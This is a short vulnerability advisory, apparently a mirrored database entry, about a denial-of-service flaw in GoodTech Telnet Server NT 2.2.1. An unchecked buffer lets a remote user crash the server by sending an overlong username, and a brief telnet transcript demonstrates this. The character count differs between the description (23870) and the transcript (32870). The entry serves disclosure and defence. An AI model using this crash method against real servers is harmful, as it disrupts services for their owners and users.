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GoodTech Telnet Server NT 2.2.1 DoS Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
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 seebug
🔗 www.seebug.org👁 15 Views

GoodTech Telnet Server NT 2.2.1 DoS Vulnerability due to unchecked buffer allowing remote attackers to crash the server by entering 23870 or more characters at the username prompt

Code

                                                source: http://www.securityfocus.com/bid/862/info


GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.

GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow. 

$ telnet victimhost

Trying victimhost...
Connected to victimhost.
Escape character is '^]'.

Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)

(C) Copyright 1996-1999 GoodTech Systems, Inc.


Login username: (32870 characters)

...server crash 
                              

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15